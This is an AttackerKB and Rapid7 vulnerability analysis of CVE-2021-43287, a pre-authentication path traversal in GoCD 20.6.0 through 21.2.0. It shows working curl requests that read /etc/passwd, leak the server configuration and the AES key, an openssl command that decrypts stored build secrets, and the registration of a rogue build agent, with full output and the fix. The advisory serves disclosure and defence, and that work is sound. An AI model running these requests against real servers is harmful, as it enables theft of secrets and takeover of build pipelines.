Very High
Pre-Auth Takeover of Build Pipelines in GoCD (CVE-2021-43287)
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
Very High
(1 user assessed)Very High
(1 user assessed)Unknown
Unknown
Unknown
Pre-Auth Takeover of Build Pipelines in GoCD (CVE-2021-43287)
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
This assessment has moved to the Rapid7 analysis. Thank you.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportGeneral Information
Exploited in the Wild
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Miscellaneous
Additional Info
Technical Analysis
Description
On October 27, 2021, SonarSource published a blog post describing a pre-authenticated information disclosure vulnerability in GoCD, an open-source CI/CD server. This vulnerability is now known as CVE-2021-43287. Successful exploitation of CVE-2021-43287 could result in build pipeline takeover.
Attacker value is high because GoCD is a CI/CD server whose compromise could have supply chain ramifications. Exploitability is also high due to the fact that the vulnerability can be exploited in a single HTTP request. Rapid7 recommends patching on an emergency basis.
Affected products
GoCD versions 20.6.0 through 21.2.0 are affected.
Technical analysis
Please see the SonarSource writeup for root cause analysis.
Setting up a target environment
We used the official Docker image with tag v21.2.0
.
wvu@kharak:~$ docker run -dp 8153:8153 gocd/gocd-server:v21.2.0 Unable to find image 'gocd/gocd-server:v21.2.0' locally v21.2.0: Pulling from gocd/gocd-server e95f33c60a64: Pull complete 928b9864409e: Pull complete 5f2e49bee33a: Pull complete 515405ff5d6d: Pull complete 246db5f22e9d: Pull complete ae3d6dd864e4: Pull complete 589cb1a41a0c: Pull complete 806df0bbd6a9: Pull complete Digest: sha256:a41313a3f4474c8f295b761874db1dd606109102c895ac0122884d238c9b0f01 Status: Downloaded newer image for gocd/gocd-server:v21.2.0 e60006c3afc743508f14b0cd5cb51e97a8ff49663f9d47dd1a96a87427fde2f1 wvu@kharak:~$
Reading an arbitrary file
Reading /etc/passwd
via path traversal is demonstrated here.
wvu@kharak:~$ curl -v "http://127.0.0.1:8153/go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../etc/passwd" * Trying 127.0.0.1:8153... * Connected to 127.0.0.1 (127.0.0.1) port 8153 (#0) > GET /go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../etc/passwd HTTP/1.1 > Host: 127.0.0.1:8153 > User-Agent: curl/7.79.1 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Wed, 10 Nov 2021 07:52:51 GMT < X-XSS-Protection: 1; mode=block < X-Content-Type-Options: nosniff < X-Frame-Options: SAMEORIGIN < X-UA-Compatible: chrome=1 < Set-Cookie: JSESSIONID=node0wmbmvg1htsuh1h43hgj0uqck21.node0; Path=/go; Expires=Wed, 24-Nov-2021 07:52:51 GMT; Max-Age=1209600; HttpOnly < Expires: Thu, 01 Jan 1970 00:00:00 GMT < Content-Type: application/octet-stream;charset=utf-8 < Transfer-Encoding: chunked < root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin man:x:13:15:man:/usr/man:/sbin/nologin postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin cyrus:x:85:12::/usr/cyrus:/sbin/nologin vpopmail:x:89:89::/var/vpopmail:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin go:x:1000:0:Linux User,,,:/home/go:/bin/bash svn:x:100:101:svn:/var/svn:/sbin/nologin * Connection #0 to host 127.0.0.1 left intact wvu@kharak:~$
Leaking the server configuration
And any build secrets it may contain!
wvu@kharak:~$ curl -v http://127.0.0.1:8153/go/add-on/business-continuity/api/cruise_config * Trying 127.0.0.1:8153... * Connected to 127.0.0.1 (127.0.0.1) port 8153 (#0) > GET /go/add-on/business-continuity/api/cruise_config HTTP/1.1 > Host: 127.0.0.1:8153 > User-Agent: curl/7.79.1 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Wed, 10 Nov 2021 07:53:27 GMT < X-XSS-Protection: 1; mode=block < X-Content-Type-Options: nosniff < X-Frame-Options: SAMEORIGIN < X-UA-Compatible: chrome=1 < Set-Cookie: JSESSIONID=node0m8ws1am8r6d8ciq80xvyarv52.node0; Path=/go; Expires=Wed, 24-Nov-2021 07:53:27 GMT; Max-Age=1209600; HttpOnly < Expires: Thu, 01 Jan 1970 00:00:00 GMT < Content-Type: text/xml;charset=utf-8 < Vary: Accept-Encoding, User-Agent < Transfer-Encoding: chunked < <?xml version="1.0" encoding="utf-8"?> <cruise xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="cruise-config.xsd" schemaVersion="139"> <server agentAutoRegisterKey="bcc1bcee-c64a-4c07-a0b0-d3c9432b0a0b" webhookSecret="2831478e-8789-4d4b-af14-a56f2b886390" serverId="4aa925a9-09e9-4c36-9125-a9015d52e10d" tokenGenerationKey="2aafa233-72c6-4d28-8852-0e6d6970cff4"> <backup emailOnSuccess="true" emailOnFailure="true" /> <artifacts> <artifactsDir>artifacts</artifactsDir> </artifacts> </server> <pipelines group="defaultGroup"> <pipeline name="hax"> <materials> <git url="https://github.com/gocd/gocd" /> </materials> <stage name="hax"> <jobs> <job name="hax"> <environmentvariables> <variable name="FOO"> <value>foo</value> </variable> <variable name="BAR" secure="true"> <encryptedValue>AES:S1+AMT0qR1Tc1e/0pszILQ==:CcOFLa59jShholBS0pV+yg==</encryptedValue> </variable> </environmentvariables> <tasks> <exec command="id" /> <exec command="uname"> <arg>-a</arg> </exec> </tasks> </job> </jobs> </stage> </pipeline> </pipelines> </cruise> * Connection #0 to host 127.0.0.1 left intact wvu@kharak:~$
And the encryption key for said secrets…
wvu@kharak:~$ curl -v http://127.0.0.1:8153/go/add-on/business-continuity/api/cipher.aes * Trying 127.0.0.1:8153... * Connected to 127.0.0.1 (127.0.0.1) port 8153 (#0) > GET /go/add-on/business-continuity/api/cipher.aes HTTP/1.1 > Host: 127.0.0.1:8153 > User-Agent: curl/7.79.1 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Wed, 10 Nov 2021 07:54:05 GMT < X-XSS-Protection: 1; mode=block < X-Content-Type-Options: nosniff < X-Frame-Options: SAMEORIGIN < X-UA-Compatible: chrome=1 < Set-Cookie: JSESSIONID=node0ln1pidvkicv714oxhaztboo0q3.node0; Path=/go; Expires=Wed, 24-Nov-2021 07:54:05 GMT; Max-Age=1209600; HttpOnly < Expires: Thu, 01 Jan 1970 00:00:00 GMT < Content-Type: text/plain;charset=utf-8 < Vary: Accept-Encoding, User-Agent < Transfer-Encoding: chunked < * Connection #0 to host 127.0.0.1 left intact 8db66fa5892e8bba1931fdbc7999034dwvu@kharak:~$
Decrypting any build secrets
Using the details above…
<variable name="BAR" secure="true"> <encryptedValue>AES:S1+AMT0qR1Tc1e/0pszILQ==:CcOFLa59jShholBS0pV+yg==</encryptedValue> </variable>
wvu@kharak:~$ openssl aes-128-cbc -d -a -K 8db66fa5892e8bba1931fdbc7999034d -iv $(xxd -p <(base64 -d <<<S1+AMT0qR1Tc1e/0pszILQ==)) <<<CcOFLa59jShholBS0pV+yg== barwvu@kharak:~$
Registering a rogue agent
Finally, you can inject yourself into the build pipeline… but the server can inject code into you.
wvu@kharak:~$ docker run -ite GO_SERVER_URL=http://172.17.0.2:8153/go -e AGENT_AUTO_REGISTER_KEY=bcc1bcee-c64a-4c07-a0b0-d3c9432b0a0b gocd/gocd-agent-alpine-3.13:v21.2.0 [snip] jvm 1 | 2021-11-10 07:55:27,303 [stdout] - 2021-11-10 07:55:27,303 INFO [scheduler-1] SslInfrastructureService:78 - [Agent Registration] Starting to register agent. jvm 1 | 2021-11-10 07:55:27,304 [stdout] - 2021-11-10 07:55:27,303 INFO [scheduler-1] SslInfrastructureService:88 - [Agent Registration] Fetching token from server. jvm 1 | 2021-11-10 07:55:27,354 [stdout] - 2021-11-10 07:55:27,352 INFO [scheduler-1] TokenRequester:56 - The server has generated token for the agent. jvm 1 | 2021-11-10 07:55:27,355 [stdout] - 2021-11-10 07:55:27,354 INFO [scheduler-1] SslInfrastructureService:91 - [Agent Registration] Got a token from server. jvm 1 | 2021-11-10 07:55:27,401 [stdout] - 2021-11-10 07:55:27,400 INFO [scheduler-1] SslInfrastructureService:170 - This agent is now approved by the server. jvm 1 | 2021-11-10 07:55:27,408 [stdout] - 2021-11-10 07:55:27,402 INFO [scheduler-1] SslInfrastructureService:119 - [Agent Registration] Retrieved registration from Go server. jvm 1 | 2021-11-10 07:55:27,460 [stdout] - 2021-11-10 07:55:27,460 INFO [scheduler-1] SslInfrastructureService:81 - [Agent Registration] Successfully registered agent. jvm 1 | 2021-11-10 07:55:27,461 [stdout] - 2021-11-10 07:55:27,460 INFO [scheduler-1] AgentHTTPClientController:139 - About to get cookie from the server. jvm 1 | 2021-11-10 07:55:27,547 [stdout] - 2021-11-10 07:55:27,546 INFO [scheduler-1] AgentHTTPClientController:142 - Got cookie: dfaa2a0f-fad5-45f7-bfd9-7d18f9974c0a jvm 1 | 2021-11-10 07:55:37,862 [stdout] - 2021-11-10 07:55:37,861 INFO [scheduler-1] HttpService:125 - Got back 200 from server jvm 1 | 2021-11-10 07:55:37,865 [stdout] - 2021-11-10 07:55:37,863 INFO [scheduler-1] DefaultGoPublisher:88 - Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43] is reporting status [Preparing] to Go Server for Build [hax/1/hax/1/hax/1] jvm 1 | 2021-11-10 07:55:47,840 [stdout] - 2021-11-10 07:55:47,838 INFO [pool-2-thread-1] HttpService:125 - Got back 200 from server jvm 1 | 2021-11-10 07:56:04,939 [stdout] - 2021-11-10 07:56:04,936 INFO [scheduler-1] HttpService:125 - Got back 200 from server jvm 1 | 2021-11-10 07:56:04,940 [stdout] - 2021-11-10 07:56:04,939 INFO [scheduler-1] DefaultGoPublisher:88 - Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43] is reporting status [Building] to Go Server for Build [hax/1/hax/1/hax/1] jvm 1 | 2021-11-10 07:56:04,963 [stdout] - 2021-11-10 07:56:04,963 INFO [scheduler-1] CommandLine:317 - Running command: id jvm 1 | 2021-11-10 07:56:04,968 [stdout] - 2021-11-10 07:56:04,967 INFO [Thread-30] CommandLine:51 - uid=1000(go) gid=0(root) groups=0(root) jvm 1 | 2021-11-10 07:56:05,070 [stdout] - 2021-11-10 07:56:05,069 INFO [scheduler-1] CommandLine:317 - Running command: uname -a jvm 1 | 2021-11-10 07:56:05,077 [stdout] - 2021-11-10 07:56:05,075 INFO [Thread-32] CommandLine:51 - Linux 2302fce9ee47 5.10.25-linuxkit #1 SMP Tue Mar 23 09:27:39 UTC 2021 x86_64 Linux jvm 1 | 2021-11-10 07:56:05,193 [stdout] - 2021-11-10 07:56:05,192 INFO [scheduler-1] HttpService:125 - Got back 200 from server jvm 1 | 2021-11-10 07:56:05,194 [stdout] - 2021-11-10 07:56:05,194 INFO [scheduler-1] DefaultGoPublisher:94 - Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43] is reporting build result [Passed] to Go Server for Build [hax/1/hax/1/hax/1] jvm 1 | 2021-11-10 07:56:05,237 [stdout] - 2021-11-10 07:56:05,237 INFO [scheduler-1] HttpService:125 - Got back 200 from server jvm 1 | 2021-11-10 07:56:05,239 [stdout] - 2021-11-10 07:56:05,239 INFO [scheduler-1] DefaultGoPublisher:88 - Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43] is reporting status [Completing] to Go Server for Build [hax/1/hax/1/hax/1] jvm 1 | 2021-11-10 07:56:05,256 [stdout] - 2021-11-10 07:56:05,255 INFO [scheduler-1] ArtifactsPublisher:68 - Pluggable metadata folder is empty. jvm 1 | 2021-11-10 07:56:05,257 [stdout] - 2021-11-10 07:56:05,256 INFO [scheduler-1] DefaultGoPublisher:100 - Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43] is reporting build result [Passed] to Go Server for Build [hax/1/hax/1/hax/1] jvm 1 | 2021-11-10 07:56:05,270 [stdout] - 2021-11-10 07:56:05,269 INFO [scheduler-1] HttpService:125 - Got back 200 from server jvm 1 | 2021-11-10 07:56:05,397 [stdout] - 2021-11-10 07:56:05,396 INFO [scheduler-1] DefaultGoPublisher:82 - Stopping Transmission for Build [hax/1/hax/1/hax/1]
Logs?
Only for agent registration and onward, apparently – at least at default log levels.
==> /godata/logs/go-server.log <== 2021-11-10 07:55:27,372 INFO [qtp1864932556-23] AgentRegistrationController:270 - [Agent Auto Registration] Auto registering agent with uuid 4ab2130c-3965-4c46-8a25-4d792e0c6f43 2021-11-10 07:55:27,542 INFO [qtp1864932556-32] BuildRepositoryRemoteImpl:127 - [Agent Cookie] Agent [Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43]] at location [/go] asked for a new cookie, assigned [dfaa2a0f-fad5-45f7-bfd9-7d18f9974c0a] 2021-11-10 07:55:27,642 INFO [105@MessageListener for WorkFinder] BuildAssignmentService:190 - [Agent Assignment] Assigned job [JobIdentifier[hax, 1, 1, hax, 1, hax, 1]] to agent [Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43]] ==> /go-working-dir/wrapper.log <== INFO | jvm 1 | 2021/11/10 07:55:27 | 2021-11-10 07:55:27,372 INFO [qtp1864932556-23] AgentRegistrationController:270 - [Agent Auto Registration] Auto registering agent with uuid 4ab2130c-3965-4c46-8a25-4d792e0c6f43 INFO | jvm 1 | 2021/11/10 07:55:27 | 2021-11-10 07:55:27,542 INFO [qtp1864932556-32] BuildRepositoryRemoteImpl:127 - [Agent Cookie] Agent [Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43]] at location [/go] asked for a new cookie, assigned [dfaa2a0f-fad5-45f7-bfd9-7d18f9974c0a] INFO | jvm 1 | 2021/11/10 07:55:27 | 2021-11-10 07:55:27,642 INFO [105@MessageListener for WorkFinder] BuildAssignmentService:190 - [Agent Assignment] Assigned job [JobIdentifier[hax, 1, 1, hax, 1, hax, 1]] to agent [Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43]] ==> /godata/logs/go-server.log <== 2021-11-10 07:55:37,886 INFO [qtp1864932556-23] BuildRepositoryRemoteImpl:99 - [Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43, dfaa2a0f-fad5-45f7-bfd9-7d18f9974c0a]] is reporting status [Preparing] for [Build [hax/1/hax/1/hax/1]] ==> /go-working-dir/wrapper.log <== INFO | jvm 1 | 2021/11/10 07:55:37 | 2021-11-10 07:55:37,886 INFO [qtp1864932556-23] BuildRepositoryRemoteImpl:99 - [Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43, dfaa2a0f-fad5-45f7-bfd9-7d18f9974c0a]] is reporting status [Preparing] for [Build [hax/1/hax/1/hax/1]] ==> /godata/logs/go-server.log <== 2021-11-10 07:56:04,945 INFO [qtp1864932556-32] BuildRepositoryRemoteImpl:99 - [Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43, dfaa2a0f-fad5-45f7-bfd9-7d18f9974c0a]] is reporting status [Building] for [Build [hax/1/hax/1/hax/1]] 2021-11-10 07:56:05,207 INFO [qtp1864932556-32] BuildRepositoryRemoteImpl:99 - [Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43, dfaa2a0f-fad5-45f7-bfd9-7d18f9974c0a]] is reporting result [Passed] for [Build [hax/1/hax/1/hax/1]] 2021-11-10 07:56:05,244 INFO [qtp1864932556-42] BuildRepositoryRemoteImpl:99 - [Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43, dfaa2a0f-fad5-45f7-bfd9-7d18f9974c0a]] is reporting status [Completing] for [Build [hax/1/hax/1/hax/1]] 2021-11-10 07:56:05,277 INFO [qtp1864932556-42] BuildRepositoryRemoteImpl:99 - [Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43, dfaa2a0f-fad5-45f7-bfd9-7d18f9974c0a]] is reporting status and result [Completed, Passed] for [Build [hax/1/hax/1/hax/1]] 2021-11-10 07:56:05,314 INFO [qtp1864932556-42] Stage:235 - Stage is being completed by transition id: 6 ==> /go-working-dir/wrapper.log <== INFO | jvm 1 | 2021/11/10 07:56:05 | 2021-11-10 07:56:04,945 INFO [qtp1864932556-32] BuildRepositoryRemoteImpl:99 - [Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43, dfaa2a0f-fad5-45f7-bfd9-7d18f9974c0a]] is reporting status [Building] for [Build [hax/1/hax/1/hax/1]] INFO | jvm 1 | 2021/11/10 07:56:05 | 2021-11-10 07:56:05,207 INFO [qtp1864932556-32] BuildRepositoryRemoteImpl:99 - [Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43, dfaa2a0f-fad5-45f7-bfd9-7d18f9974c0a]] is reporting result [Passed] for [Build [hax/1/hax/1/hax/1]] INFO | jvm 1 | 2021/11/10 07:56:05 | 2021-11-10 07:56:05,244 INFO [qtp1864932556-42] BuildRepositoryRemoteImpl:99 - [Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43, dfaa2a0f-fad5-45f7-bfd9-7d18f9974c0a]] is reporting status [Completing] for [Build [hax/1/hax/1/hax/1]] INFO | jvm 1 | 2021/11/10 07:56:05 | 2021-11-10 07:56:05,277 INFO [qtp1864932556-42] BuildRepositoryRemoteImpl:99 - [Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43, dfaa2a0f-fad5-45f7-bfd9-7d18f9974c0a]] is reporting status and result [Completed, Passed] for [Build [hax/1/hax/1/hax/1]] INFO | jvm 1 | 2021/11/10 07:56:05 | 2021-11-10 07:56:05,314 INFO [qtp1864932556-42] Stage:235 - Stage is being completed by transition id: 6
Guidance
Upgrade GoCD to version 21.3.0 or later.
Resources
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: